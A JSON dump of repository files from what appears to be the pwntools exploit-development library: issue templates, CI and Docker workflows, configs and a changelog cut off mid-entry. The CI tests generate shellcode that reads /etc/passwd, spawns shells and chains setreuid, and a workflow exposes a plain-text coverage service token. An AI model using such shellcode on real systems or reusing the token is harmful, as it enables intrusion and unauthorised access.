[
  {
    "path": ".gitattributes",
    "content": "pwnlib/data/* linguist-vendored\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/bug_report.md",
    "content": "---\nname: Bug report\nabout: Create a report to help us improve\ntitle: ''\nlabels: backport-required, bug\nassignees: ''\n\n---\n\nThanks for contributing to Pwntools!\n\n## Update Pwntools First\n\nWhen reporting an issue, be sure that you are running the latest released version of pwntools (`pip install --upgrade pwntools`).\n\n## Debug Output\n\nHaving the extra debug output really helps us, and might help you diagnose the problem yourself.\n\nWhen submitting an issue that has output from Pwntools, make sure to run your script as shown below, to enable the extra debugging data.\n\n```sh\n$ python exploit.py DEBUG LOG_FILE=log.txt\n```\n\nYou should see `[DEBUG]` statements that show what's happening behind the scenes:\n\n```\n[+] Starting local process '/bin/sh' argv=['sh'] : pid 16823\n[DEBUG] Sent 0x7 bytes:\n    'whoami\\n'\n[DEBUG] Sent 0x5 bytes:\n    'exit\\n'\n[+] Receiving all data: Done (11B)\n[DEBUG] Received 0xb bytes:\n    'crashheap\\n'\n[*] Process '/bin/sh' stopped with exit code 0 (pid 16823)\n```\n\n## Verify on Ubuntu\n\nIf possible, please verify that your issue occurs on 64-bit Ubuntu 22.04.  We provide a Dockerfile based on Ubuntu 22.04 via `docker.io` to make this super simple, no VM required!\n\n```sh\n# Download the Docker image\n$ docker pull pwntools/pwntools:stable\n\n# Boot the image\n$ docker run -it pwntools/pwntools:stable\n\npwntools@7dc3ef409476:~$ python\n>>> from pwn import *\n>>> # Test your code here\n```\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/feature_request.md",
    "content": "---\nname: Feature request\nabout: Suggest an idea for this project\ntitle: ''\nlabels: feature\nassignees: ''\n\n---\n\nThanks for contributing to Pwntools!   Ideas from the community help make Pwntools an amazing tool for everybody.\n\nIf you've got an idea for a new feature, please provide information about:\n\n* What the feature does\n* Why the feature should exist\n* What tests should be included\n\nIf you think you can write the feature yourself, please submit a Pull Request and we can review your changes!\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/question.md",
    "content": "---\nname: Question\nabout: Ask us a question about Pwntools\ntitle: ''\nlabels: question\nassignees: ''\n\n---\n\nThanks for using Pwntools!  If you have a question, here are some tips that will make it easier for us to help you.\n\n## Check the Documentation\n\nPwntools has REALLY extensive documentation.  Please check there first!  https://docs.pwntools.com\n\n## Debug Output\n\nIf you're having an issue with an exploit, run your script with full debugging output, i.e. `python exploit.py DEBUG`.  This may help you to see what's happening under the hood, and the debug output will help to diagnose any issues you're encountering.\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE.md",
    "content": "# Pwntools Issue Template\n\nThanks for contributing to Pwntools!\n\nWhen reporting an issue, be sure that you are running the latest released version of pwntools (`pip install --upgrade pwntools`).\n\nPlease verify that your issue occurs on 64-bit Ubuntu 22.04.  You can use the Dockerfile on `docker.io` for quick testing.\n\n```\n$ docker pull pwntools/pwntools:stable\n$ docker run -it pwntools/pwntools:stable\n```\n\nIf possible, provide a proof-of-concept which demonstrates the problem.  Include any binaries or scripts necessary to reproduce the issue, and please include the full debug output via setting the environment variable `PWNLIB_DEBUG=1`.\n"
  },
  {
    "path": ".github/PULL_REQUEST_TEMPLATE.md",
    "content": "# Pwntools Pull Request\n\nThanks for contributing to Pwntools!  Take a moment to look at [`CONTRIBUTING.md`][contributing] to make sure you're familiar with Pwntools development.\n\nPlease provide a high-level explanation of what this pull request is for.\n\n## Testing\n\nPull Requests that introduce new code should try to add doctests for that code.  See [`TESTING.md`][testing] for more information.\n\n## Target Branch\n\nDepending on what the PR is for, it needs to target a different branch.\n\nYou can always [change the branch][change] after you create the PR if it's against the wrong branch.\n\n| Branch   | Type of PR                                                       |\n| -------- | ---------------------------------------------------------------- |\n| `dev`    | New features, and enhancements\n| `dev`    | Documentation fixes and new tests\n| `stable` | Bug fixes that affect the current `stable` branch\n| `beta`   | Bug fixes that affect the current `beta` branch, but not `stable`\n| `dev`    | Bug fixes for code that has never been released\n\n[contributing]: https://github.com/Gallopsled/pwntools/blob/dev/CONTRIBUTING.md\n[testing]: https://github.com/Gallopsled/pwntools/blob/dev/TESTING.md\n[change]: https://github.com/blog/2224-change-the-base-branch-of-a-pull-request\n\n## Changelog\n\nAfter creating your Pull Request, please add and push a commit that updates the changelog for the appropriate branch.  \nYou can look at the existing changelog for examples of how to do this.\n"
  },
  {
    "path": ".github/dependabot.yml",
    "content": "version: 2\nupdates:\n\n  - package-ecosystem: \"github-actions\"\n    directory: \"/\"\n    schedule:\n      # Check for updates to GitHub Actions every month\n      interval: \"monthly\"\n    groups:\n      github-actions:\n        dependency-type: \"production\"\n"
  },
  {
    "path": ".github/workflows/changelog.yml",
    "content": "name: Changelog\non:\n  pull_request:\n    paths:\n    - pwnlib/**\n    - pwn/**\nenv:\n  GITHUB_BASE: origin/${{ github.event.pull_request.base.ref }}\n\njobs:\n  check:\n    strategy:\n      matrix:\n        os: [ubuntu-latest]\n    runs-on: ${{ matrix.os }}\n    timeout-minutes: 5\n    steps:\n    - uses: actions/checkout@v6\n      with:\n        fetch-depth: 0\n\n    - name: Check changelog for updates\n      run: |\n        if git log --stat ${GITHUB_BASE}..HEAD | grep CHANGELOG.md; then\n           echo 'Changelog updated :D'\n        else\n           if git log --stat ${GITHUB_BASE}..HEAD pwnlib pwn | grep '++\\|--'; then\n              echo 'Major changes detected, changelog required!'\n              false\n           else\n              echo 'Minor changes detected, no changelog required!'\n           fi\n        fi\n"
  },
  {
    "path": ".github/workflows/ci.yml",
    "content": "name: Continuous Integration\non: [push, pull_request]\n\njobs:\n  test:\n    strategy:\n      matrix:\n        python_version: ['3.10', '3.12', '3.13', '3.14']\n        os: [ubuntu-latest]\n    runs-on: ${{ matrix.os }}\n    timeout-minutes: 30\n    services:\n      libcdb-cache:\n        image: nginx\n        volumes:\n          - /home/runner/libcdb-cache:/var/cache/nginx\n        ports:\n          - 3000:3000  # https://debuginfod.elfutils.org proxy cache\n          - 3001:3001  # https://libc.rip/ proxy cache\n          - 3002:3002  # http://archive.ubuntu.com/ proxy cache\n          - 3003:3003  # https://gitlab.com/ proxy cache\n          - 3004:3004  # https://debuginfod.ubuntu.com/ proxy cache\n    env:\n      DEBUGINFOD_URLS: \"http://localhost:3000/ http://localhost:3004/\"\n      PWN_LIBCRIP_URL: http://localhost:3001/\n      PWN_UBUNTU_ARCHIVE_URL: http://localhost:3002/\n      PWN_GITLAB_LIBCDB_URL:  http://localhost:3003/\n    steps:\n    - uses: actions/checkout@v6\n      with:\n        fetch-depth: 20\n\n    - name: Git History\n      run: |\n        git fetch origin\n        git log --oneline --graph -10\n\n    - name: Fix libcdb-cache permissions\n      id: fix-perms\n      run: |\n        sudo chown -R runner:runner /home/runner/libcdb-cache\n        echo \"date=$(/bin/date -u \"+%Y%m%d%H%M%S\")\" >> $GITHUB_OUTPUT\n\n    - name: Cache for libcdb requests\n      uses: actions/cache@v5\n      with:\n        path: ~/libcdb-cache\n        key: libcdb-python${{ matrix.python_version }}-${{ steps.fix-perms.outputs.date }}\n        restore-keys: |\n          libcdb-python${{ matrix.python_version }}-\n          libcdb-\n\n    - name: Install libcdb-cache service config\n      run: |\n        sudo chown -R 101:101 /home/runner/libcdb-cache\n        container_id=$(docker ps --all --filter volume=/home/runner/libcdb-cache --no-trunc --format \"{{.ID}}\")\n        docker cp ./travis/libcdb_nginx_cache.conf $container_id:/etc/nginx/nginx.conf\n        docker restart $container_id\n\n    - name: Install RPyC for gdb\n      run: |\n        # The version packaged in python3-rpyc is too old on Ubuntu 24.04\n        # We use ^6.0 from pip.\n        sudo apt-get update && sudo apt-get install -y python3-pip gdb gdbserver\n        /usr/bin/python -m pip install --break-system-packages rpyc || /usr/bin/python -m pip install rpyc\n        gdb --batch --quiet --nx --nh --ex 'py import rpyc; print(rpyc.version.version)'\n\n    - name: Set up Python ${{ matrix.python_version }}\n      uses: actions/setup-python@v6\n      with:\n        python-version: ${{ matrix.python_version }}\n        cache: 'pip'\n        cache-dependency-path: |\n          **/pyproject.toml\n          **/requirements*.txt\n\n\n    - name: Verify tag against version\n      if: github.event_name == 'push' && startsWith(github.event.ref, 'refs/tags')\n      env:\n        GITHUB_REF: ${{ github.event.ref }}\n      run: |\n        set -x\n        GITHUB_TAG=${GITHUB_REF#refs/tags/}\n        echo \"$GITHUB_TAG\" | grep -E '^[0-9.]*(beta[0-9])?$'\n        vsetup=$(grep -o \"version\\\\s*=\\\\s*[\\\"'].*[\\\"'],$\" setup.py | grep -o \"[0-9][^\\\"']*\")\n        vpwnlib=$(grep -o \"__version__\\\\s*=\\\\s*[\\\"'].*[\\\"']$\" pwnlib/version.py | grep -o \"[0-9][^\\\"']*\")\n        [ \"$vsetup\" = \"$vpwnlib\" ]\n        [ \"$GITHUB_TAG\" = \"$vsetup\" ]\n\n    - name: Install Linux dependencies\n      run: |\n        sudo apt-get update\n        sudo apt-get install -y --no-install-recommends -o Acquire::Retries=3 \\\n          ash bash-static dash ksh mksh zsh \\\n          gdb gdbserver socat \\\n          binutils-multiarch qemu-user-static \\\n          binutils-aarch64-linux-gnu \\\n          binutils-arm-linux-gnueabihf \\\n          binutils-mips-linux-gnu \\\n          binutils-mipsel-linux-gnu \\\n          binutils-msp430 \\\n          binutils-powerpc-linux-gnu \\\n          binutils-s390x-linux-gnu \\\n          binutils-sparc64-linux-gnu \\\n          binutils-riscv64-linux-gnu \\\n          binutils-loongarch64-linux-gnu \\\n          gcc-multilib \\\n          libc6-dbg \\\n          elfutils \\\n          patchelf\n\n    # Print diagnostics to help when Corefile doctests fail.\n    - name: Testing Corefiles\n      run: |\n        ulimit -a\n        ulimit -c unlimited\n        cat /proc/sys/kernel/core_pattern\n        cat /proc/sys/kernel/core_uses_pid\n        ( cd $(mktemp -d); sh -c 'kill -11 $$' || true; ls -la ./*core* /var/crash/*.crash /var/lib/apport/coredump/core* || coredumpctl list sh) || true\n\n    - name: Set up SSH\n      run: |\n        travis/ssh_setup.sh\n\n    - name: Install dependencies\n      run: |\n        pip install --upgrade pip\n        pip install --upgrade wheel build\n        pip install --upgrade flake8 appdirs\n        pip install --upgrade --editable .\n\n    - name: Sanity checks\n      run:  PWNLIB_NOTERM=1 python -bb -c 'from pwn import *; print(pwnlib.term.term_mode)'\n\n    - name: Install documentation dependencies\n      run: pip install -r docs/requirements.txt\n\n    - name: Disable yama ptrace_scope\n      run: |\n        echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope # required by some gdb doctests\n\n    - name: Coverage doctests\n      run: |\n        # Python version installed using setup-python interferes with gdb's python\n        # by setting LD_LIBRARY_PATH and gdb's python becoming unable to load built-in modules\n        # like _socket. This is a workaround.\n        unset LD_LIBRARY_PATH\n        PWNLIB_NOTERM=1 python -bb -m coverage run -m sphinx -b doctest docs/source docs/build/doctest\n\n    - name: Coverage running examples\n      run: |\n        export TERM=linux\n        set -x\n        python -bb travis/coverage_chdir.py examples/fmtstr examples/fmtstr/exploit.py\n        python -bb travis/coverage_chdir.py examples/fmtstr examples/fmtstr/exploit2.py || : # can fail randomly?\n        python -bb -m coverage run examples/asm.py\n        python -bb -m coverage run examples/asm.py\n        python -bb -m coverage run examples/text.py\n        # for f in examples/sigreturn_corefile_*.py; do coverage run \"$f\"; done # XXX something is wrong\n\n    - name: Coverage running commandline tools\n      run: |\n        export TERM=linux\n        pwn() { ( set +x; cmd=$1; shift; PYTHONUNBUFFERED=1 exec python -bb -m coverage run -m pwnlib.commandline.\"$cmd\" \"$@\" ) }\n        set -x\n\n        pwn cyclic 32\n        pwn cyclic -l 0x62616161\n        pwn cyclic -a ab\n        echo\n\n        pwn shellcraft --list |tail\n        pwn shellcraft -l --syscalls |tail\n        pwn shellcraft -l execve\n        pwn shellcraft -l execve + exit\n        pwn shellcraft --show i386.linux.loader_append\n        pwn shellcraft --show i386.linux.loader_append + i386.linux.sh\n        pwn shellcraft -f asm --color amd64.linux.sh\n        pwn shellcraft -f asm --color amd64.linux.setreuid + amd64.linux.cat /etc/passwd\n        pwn shellcraft -f asm --color amd64.linux.setreuid = amd64.linux.cat /key+secret --delim =\n        pwn shellcraft -f elf amd64.linux.syscalls.exit 0 </dev/null |pwn hex\n        pwn shellcraft -f elf amd64.linux.cat /etc/passwd + amd64.linux.syscalls.exit 0 </dev/null |pwn hex\n        pwn shellcraft -f i   --color amd64.linux.cat /etc/passwd </dev/null\n        pwn shellcraft -f i   --color amd64.linux.cat /etc/passwd + amd64.linux.sh </dev/null\n        pwn shellcraft -f c   amd64.linux.syscalls.exit 0 </dev/null\n        pwn shellcraft -f c   amd64.linux.cat /etc/passwd + amd64.linux.syscalls.exit 0 </dev/null\n        pwn shellcraft -f str aarch64.linux.sh </dev/null\n        pwn shellcraft -abr -f elf -o /dev/null amd64.linux.cat /etc/passwd </dev/null\n        pwn shellcraft -nzr thumb.linux.syscalls.execve /bin/cat '[\"/bin/cat\", \"/etc/os-release\"]' </dev/null\n        pwn shellcraft -fp aarch64.trap\n\n        pwn disasm --color ff3424c3ebfe\n        pwn asm -f hex nop\n\n        pwn hex ABCD\n        pwn hex ABCD --separator ' '\n        pwn hex ABCD --prefix '\\x'\n        pwn hex ABCD -p '0x' -s ' '\n\n        pwn hex abcd\n        pwn unhex 4141 4141\n\n        cat /dev/urandom | pwn phd --color -c 256 -s 2\n        pwn phd -l 0x3d --color=always /etc/os-release\n\n        pwn checksec /bin/bash\n        (ulimit -v 500000 && pwn checksec /bin/bash)\n\n        pwn errno 2\n        pwn errno -1\n        pwn errno EADDRINUSE\n\n        pwn constgrep -c freebsd -m ^PROT_ '3 + 4'\n        pwn constgrep ^MAP_ 0\n        pwn constgrep -e O_RDWR\n        pwn constgrep C\n\n        pwn libcdb file /lib/x86_64-linux-gnu/libc.so.6\n        pwn libcdb lookup puts 5f0 __libc_start_main_ret d0a\n        pwn libcdb hash b229d1da1e161f95e839cf90cded5f719e5de308\n\n    - name: Build source and wheel distributions\n      run: |\n        python -m build\n\n    - uses: actions/upload-artifact@v7\n      if: matrix.python_version == '3.10'\n      with:\n        name: packages\n        path: dist/\n        include-hidden-files: true\n\n    - uses: actions/upload-artifact@v7\n      with:\n        name: coverage-${{ matrix.python_version }}\n        path: .coverage*\n        include-hidden-files: true\n\n    - name: Fix libcdb-cache permissions\n      run: |\n        container_id=$(docker ps --filter volume=/home/runner/libcdb-cache --no-trunc --format \"{{.ID}}\")\n        docker stop $container_id\n        sudo chown -R runner:runner /home/runner/libcdb-cache\n\n  android-test:\n    runs-on: ubuntu-latest\n    timeout-minutes: 30\n    continue-on-error: true\n    steps:\n    - uses: actions/checkout@v6\n\n    - name: Set up Python 3.12\n      uses: actions/setup-python@v6\n      with:\n        python-version: '3.12'\n        cache: 'pip'\n        cache-dependency-path: |\n          **/pyproject.toml\n          **/requirements*.txt\n\n    - name: Install Linux dependencies\n      run: |\n        sudo apt-get update\n        sudo apt-get install -y --no-install-recommends -o Acquire::Retries=3 \\\n          gdb gdbserver socat \\\n          qemu-user-static \\\n          binutils-aarch64-linux-gnu \\\n          binutils-arm-linux-gnueabihf \\\n          libc6-dbg\n\n    - name: Cache for avd\n      uses: actions/cache@v5\n      id: cache-avd\n      with:\n        path: |\n          ~/.android\n          /usr/local/lib/android/sdk/emulator\n          /usr/local/lib/android/sdk/platform-tools\n          /usr/local/lib/android/sdk/system-images\n        key: ${{ matrix.os }}-cache-avd-${{ hashFiles('travis/setup_avd*.sh') }}\n        restore-keys: |\n          ${{ matrix.os }}-cache-avd-\n\n    - name: Install Android AVD\n      run: |\n        sudo usermod -aG kvm $USER\n        source travis/setup_avd_fast.sh\n        sed -i 's/skip_android = True/skip_android = False/' docs/source/conf.py\n        set | grep ^PATH >.android.env\n\n    - name: Install dependencies\n      run: |\n        pip install --upgrade pip\n        pip install --upgrade wheel build\n        pip install --upgrade flake8 appdirs\n        pip install --upgrade --editable .\n\n    - name: Sanity checks\n      run:  PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'\n\n    - name: Install documentation dependencies\n      run:  pip install -r docs/requirements.txt\n\n    - name: Coverage Doctests (Android Only)\n      run: |\n        source .android.env\n        PWNLIB_NOTERM=1 coverage run -m sphinx -b doctest docs/source docs/build/doctest docs/source/adb.rst\n\n    - uses: actions/upload-artifact@v7\n      with:\n        name: coverage-android\n        path: .coverage*\n        include-hidden-files: true\n\n  windows-test:\n    runs-on: windows-latest\n    timeout-minutes: 30\n    continue-on-error: true\n    steps:\n    - uses: actions/checkout@v6\n\n    - name: Set up Python 3.12\n      uses: actions/setup-python@v6\n      with:\n        python-version: '3.12'\n\n    - name: Install dependencies\n      run: |\n        pip install --upgrade pip\n        pip install --upgrade --editable .\n\n    - name: Install documentation dependencies\n      run: pip install -r docs/requirements.txt\n\n    - name: Sanity checks\n      run: |\n        python -bb -c 'from pwn import *'\n        python -bb examples/text.py\n\n    - name: Coverage doctests\n      run: |\n        python -bb -m coverage run -m sphinx -b doctest docs/source docs/build/doctest\n\n    - uses: actions/upload-artifact@v7\n      with:\n        name: coverage-windows\n        path: .coverage*\n        include-hidden-files: true\n\n  upload-coverage:\n    runs-on: ubuntu-latest\n    needs: test\n    steps:\n    - uses: actions/checkout@v6\n      with:\n        fetch-depth: 20\n\n    - uses: actions/download-artifact@v8\n      with:\n        pattern: coverage-*\n        merge-multiple: true\n\n    - name: Install coveralls\n      run: |\n        pip install --break-system-packages tomli coveralls || pip install tomli coveralls\n\n    - name: Upload coverage to coveralls.io\n      run: |\n        coverage combine\n        COVERALLS_REPO_TOKEN=PP20MEgztXIQJJTguQwe2jeCh6Bm4lkbv coveralls\n\n\n  staging-merge:\n    runs-on: ubuntu-latest\n    if: github.repository_owner == 'Gallopsled' && github.event_name == 'push' && startsWith(github.event.ref, 'refs/heads/') && endsWith(github.event.ref, '-staging')\n    needs: test\n    steps:\n    - uses: actions/checkout@v6\n      with:\n        fetch-depth: 20\n    - name: Push changes to protected branch\n      env:\n        GITHUB_REF: ${{ github.event.ref }}\n      run: |\n        BRANCH=${GITHUB_REF#refs/heads/}\n        TARGET=${BRANCH%-staging}\n        git branch -f \"$TARGET\"\n        git push origin \"$TARGET\"\n        git push origin --delete \"$BRANCH\"\n\n\n  pypi:\n    runs-on: ubuntu-latest\n    if: github.event_name == 'push' && startsWith(github.event.ref, 'refs/tags')\n    permissions:\n      id-token: write\n    needs: test\n    steps:\n    - name: Download artifacts\n      uses: actions/download-artifact@v8\n      with:\n        name: packages\n        path: dist\n\n    - name: Publish package\n      uses: pypa/gh-action-pypi-publish@release/v1\n\n    - if: failure()\n      run: ls -R\n"
  },
  {
    "path": ".github/workflows/docker.yml",
    "content": "name: Publish Docker images\non:\n  push:\n    branches:\n      - dev\n      - beta\n      - stable\n  workflow_dispatch:\njobs:\n  publish:\n    runs-on: ubuntu-latest\n    if: github.repository_owner == 'Gallopsled'\n    steps:\n      # Required for subdirectories in Git context\n      - name: Set up Docker Buildx\n        uses: docker/setup-buildx-action@v4\n\n      - name: Login to Docker Hub\n        uses: docker/login-action@v4\n        with:\n          username: ${{ secrets.DOCKERHUB_USERNAME }}\n          password: ${{ secrets.DOCKERHUB_PASSWORD }}\n\n      - name: Build and push base image\n        uses: docker/build-push-action@v6\n        if: github.event_name == 'workflow_dispatch'\n        with:\n          context: \"{{defaultContext}}:extra/docker/base\"\n          push: true\n          tags: pwntools/pwntools:base\n\n      - name: Build and push stable image\n        uses: docker/build-push-action@v6\n        if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/stable')\n        with:\n          context: \"{{defaultContext}}:extra/docker/stable\"\n          push: true\n          tags: pwntools/pwntools:stable\n\n      - name: Build and push beta image\n        uses: docker/build-push-action@v6\n        if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/beta')\n        with:\n          context: \"{{defaultContext}}:extra/docker/beta\"\n          push: true\n          tags: pwntools/pwntools:beta\n\n      - name: Build and push dev image\n        uses: docker/build-push-action@v6\n        if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/dev')\n        with:\n          context: \"{{defaultContext}}:extra/docker/dev\"\n          push: true\n          tags: |\n            pwntools/pwntools:dev\n            pwntools/pwntools:latest\n\n      - name: Build and push ci image\n        uses: docker/build-push-action@v6\n        if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/dev')\n        with:\n          context: \"{{defaultContext}}:travis/docker\"\n          push: true\n          tags: pwntools/pwntools:ci\n"
  },
  {
    "path": ".github/workflows/lint.yml",
    "content": "name: Lint\non: [push, pull_request]\n\njobs:\n  lint:\n    strategy:\n      matrix:\n        python-version: ['3.10']\n        os: [ubuntu-latest]\n    runs-on: ${{ matrix.os }}\n    timeout-minutes: 30\n    steps:\n    - uses: actions/checkout@v6\n\n    - name: Set up Python ${{ matrix.python-version }}\n      uses: actions/setup-python@v6\n      with:\n        python-version: ${{ matrix.python-version }}\n        cache: 'pip'\n        cache-dependency-path: |\n          **/pyproject.toml\n          **/requirements*.txt\n\n    - name: Critical lint\n      run: |\n        pip install flake8\n        flake8 . --count --select=E9,F63,F7,E71 --show-source --statistics --exclude=android-?dk  # TODO: Add F82\n\n    - name: Style lint\n      run: |\n        flake8 pwnlib setup.py docs travis --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics\n        flake8 examples --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --ignore='F403,F405'\n        flake8 pwn --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --ignore='F401,F403,F405'\n\n    - name: Minimum Python version check\n      run: |\n        pip install vermin\n        vermin -vvv --no-tips -t=3.10- --violations  ./pwnlib ./pwn\n"
  },
  {
    "path": ".github/workflows/merge-conflict.yml",
    "content": "name: Check for merge markers\non:\n  pull_request:\n    types: [synchronize]\nenv:\n  GITHUB_BASE: origin/${{ github.event.pull_request.base.ref }}\n\njobs:\n  mergecheck:\n    strategy:\n      matrix:\n        os: [ubuntu-latest]\n    runs-on: ${{ matrix.os }}\n    timeout-minutes: 5\n    steps:\n    - uses: actions/checkout@v6\n      with:\n        fetch-depth: 0\n\n    - name: Check for merge conflict markers commited\n      run: |\n        if git show ${GITHUB_BASE}..HEAD | grep -EB15 --color=always '^\\+\\+(>>>>>|=====|<<<<<)'; then\n            echo 'WARNING: Merge marker commits found in history.'\n            if git diff ${GITHUB_BASE}..HEAD | grep -EB15 --color=always '^\\+(>>>>>|=====|<<<<<)'; then\n                echo 'ERROR: Merge markers still present! Do something!'\n                exit 1\n            fi\n        else\n            echo 'Congrats! All the merges you did were clean or resolved correctly :)'\n        fi\n"
  },
  {
    "path": ".github/workflows/pylint.yml",
    "content": "name: PyLint\non: [pull_request]\n\njobs:\n  build:\n    strategy:\n      matrix:\n        python-version: ['3.10']\n        os: [ubuntu-latest]\n    runs-on: ${{ matrix.os }}\n    timeout-minutes: 30\n    steps:\n    - uses: actions/checkout@v6\n\n    - name: Set up Python ${{ matrix.python-version }}\n      uses: actions/setup-python@v6\n      with:\n        python-version: ${{ matrix.python-version }}\n        cache: 'pip'\n        cache-dependency-path: |\n          **/pyproject.toml\n          **/requirements*.txt\n\n    - name: PyLint\n      run: |\n        set -x\n        pip install 'pylint<4'\n        pip install --upgrade -e .\n        run_pylint() { pylint --exit-zero --errors-only pwnlib -f parseable | cut -d ' ' -f2- | sed 's/line [0-9]\\+/line XXXX/g'; }\n        run_pylint > current.txt\n        git fetch origin\n        git checkout origin/\"$GITHUB_BASE_REF\"\n        run_pylint > base.txt\n        if diff base.txt current.txt | grep '>'; then\n          false\n        fi\n"
  },
  {
    "path": ".gitignore",
    "content": "*.o\n*.hi\n*.pyc\n*~\n*.swp\n.ropeproject\n*.pdf\n*/auto/*\n*/bin/*\ndocs/build\nbuild\nMANIFEST\ndist\nvenv\n.vscode\n.idea\n*.egg-info\n*.core\n.coverage\n.coverage.*\n.idea\n__pycache__\n!.github\n.DS_Store\n"
  },
  {
    "path": ".isort.cfg",
    "content": "[settings]\nindent='    '\nnot_skip = __init__.py\nforce_single_line = 1"
  },
  {
    "path": ".readthedocs.yaml",
    "content": "# https://docs.readthedocs.io/en/stable/config-file/v2.html\n\nversion: 2\n\nbuild:\n  os: ubuntu-22.04\n  tools:\n    python: \"3.12\"\n\nsphinx:\n  configuration: docs/source/conf.py\n\npython:\n  install:\n  - requirements: docs/requirements.txt\n"
  },
  {
    "path": ".sublime-settings",
    "content": "{\n    \"default_encoding\": \"UTF-8\",\n    \"ensure_newline_at_eof_on_save\": true,\n    \"tab_size\": 4,\n    \"translate_tabs_to_spaces\": true,\n    \"trim_trailing_white_space_on_save\": true\n}\n"
  },
  {
    "path": "CHANGELOG.md",
    "content": "# Changelog\n\nThis changelog only includes added major features and changes. Bugfixes and\nminor changes are omitted.\n\n## Release History\n\nThe table below shows which release corresponds to each branch, and what date the version was released.\n\n| Version          | Branch   | Release Date           |\n| ---------------- | -------- | ---------------------- |\n| [5.0.0](#500-dev)  | `dev`    |\n| [4.15.0](#4150-stable)  | `stable` | Oct 12, 2025\n| [4.14.1](#4141)  |          | Mar 24, 2025\n| [4.14.0](#4140)  |          | Jan 15, 2025\n| [4.13.1](#4131)  |          | Sep 29, 2024\n| [4.13.0](#4130)  |          | Aug 12, 2024\n| [4.12.0](#4120)  |          | Feb 22, 2024\n| [4.11.1](#4111)  |          | Nov 14, 2023\n| [4.11.0](#4110)  |          | Sep 15, 2023\n| [4.10.0](#4100)  |          | May 21, 2023\n| [4.9.0](#490)    |          | Dec 29, 2022\n| [4.8.0](#480)    |          | Apr 21, 2022\n| [4.7.1](#471)    |          | Apr 20, 2022\n| [4.7.0](#470)    |          | Nov 15, 2021\n| [4.6.0](#460)    |          | Jul 12, 2021\n| [4.5.1](#451)    |          | May 30, 2021\n| [4.5.0](#450)    |          | Apr 30, 2021\n| [4.4.0](#440)    |          | Mar 29, 2021\n| [4.3.1](#431)    |          | Nov 29, 2020\n| [4.3.0](#430)    |          | Oct 20, 2020\n| [4.2.0](#420)    |          | Jul 3, 2020\n| [4.1.7](#417)    |          | Jun 30, 2020\n| [4.1.5](#415)    |          | Jun 27, 2020\n| [4.1.4](#414)    |          | Jun 26, 2020\n| [4.1.3](#413)    |          | Jun 23, 2020\n| [4.1.2](#412)    |          | Jun 5, 2020\n| [4.1.1](#411)    |          | Jun 3, 2020\n| [4.1.0](#410)    |          | May 8, 2020\n| [4.0.1](#401)    |          | Jan 22, 2020\n| [4.0.0](#400)    |          | Jan 09, 2020\n| [3.13.0](#3130)  |          | Nov 5, 2019\n| [3.12.2](#3122)  |          | Jan 8, 2019\n| [3.12.1](#3121)  |          | Sept 17, 2018\n| [3.12.0](#3120)  |          | Feb 22, 2018\n| [3.11.0](#3110)  |          | Jan 3, 2018\n| [3.10.0](#3100)  |          | Oct 25, 2017\n| [3.9.2](#392)    |          | Oct 5, 2017\n| [3.9.1](#391)    |          | Sep 28, 2017\n| [3.9.0](#390)    |          | Sep 11, 2017\n| [3.8.0](#380)    |          | Jul 29, 2017\n| [3.7.1](#371)    |          | Jul 14, 2017\n| [3.7.0](#370)    |          | Jun 19, 2017\n| [3.6.1](#361)    |          | May 12, 2017\n| [3.6.0](#360)    |          | May 8, 2017\n| [3.5.1](#351)    |          | Apr 15, 2017\n| [3.5.0](#350)    |          | Mar 26, 2017\n| [3.4.1](#341)    |          | Feb 17, 2017\n| [3.4.0](#340)    |          | Feb 13, 2017\n| [3.3.4](#334)    |          | Jan 12, 2016\n| [3.3.3](#333)    |          | Jan 10, 2016\n| [3.3.2](#332)    |          | Jan 10, 2016\n| [3.3.1](#331)    |          | Jan 10, 2016\n| [3.3.0](#330)    |          | Dec 24, 2016\n| [3.2.1](#321)    |          | Dec 24, 2016\n| [3.2.0](#320)    |          | Nov 12, 2016\n| [3.1.1](#311)    |          | Oct 23, 2016\n| [3.1.0](#310)    |          | Oct 2, 2016\n| [3.0.4](#304)    |          | Sept 19, 2016\n| [3.0.3](#303)    |          | Sept 18, 2016\n| [3.0.2](#302)    |          | Sept 6, 2016\n| [3.0.1](#301)    |          | Aug 20, 2016\n| [3.0.0](#300)    |          | Aug 20, 2016\n| [2.2.0](#220)    |          | Jan 5, 2015\n\n## 5.0.0 (`dev`)\n\n- [#2677][2677] refactor: replace unsafe eval with safeeval.const in ROP cache loading\n- [#2675][2675] feat(term): add zellij support\n- [#2652][2652] Make setting the context.terminal to kitty more user friendly\n- [#2638][2638] feat: add disable_corefiles context option\n- [#2627][2627] remove pwnlib.util.iters.lookahead (broken anyway)\n- [#2598][2598] aarch64: Fix ABI definition\n- [#2419][2419] riscv: avoid compressed instructions (if you need compressed, use .option rvc)\n- [#2551][2551] Detect when kitty is being used as terminal\n- [#2519][2519] Drop Python 2.7 support / Require Python 3.10\n- [#2507][2507] Add `+LINUX` and `+WINDOWS` doctest options and start proper testing on Windows\n- [#2522][2522] Support starting a kitty debugging window with the 'kitten' command\n- [#2524][2524] Raise EOFError during `process.recv` when stdout closes on Windows\n- [#2526][2526] Properly make use of extra arguments in `packing` utilities. `sign` parameter requires keyword syntax to specify it.\n- [#2517][2517] Allow to passthru kwargs on `ssh.__getattr__` convenience function to fix SSH motd problems\n- [#2530][2530] Do NOT error when passing directory arguments in `checksec` commandline tool.\n- [#2529][2529] Add LoongArch64 support\n- [#2506][2506] ROP: fix `ROP(ELF(exe)).leave` is `None` in some ELF\n- [#2504][2504] doc: add example case for `tuple` (host, port pair) in `gdb.attach`\n- [#2546][2546] ssh: Allow passing disabled_algorithms keyword argument from ssh to paramiko\n- [#2538][2538] Add `ssh -L` / `ssh.connect_remote()` workaround when `AllowTcpForwarding` is disabled\n- [#2574][2574] Allow creating an ELF from in-memory 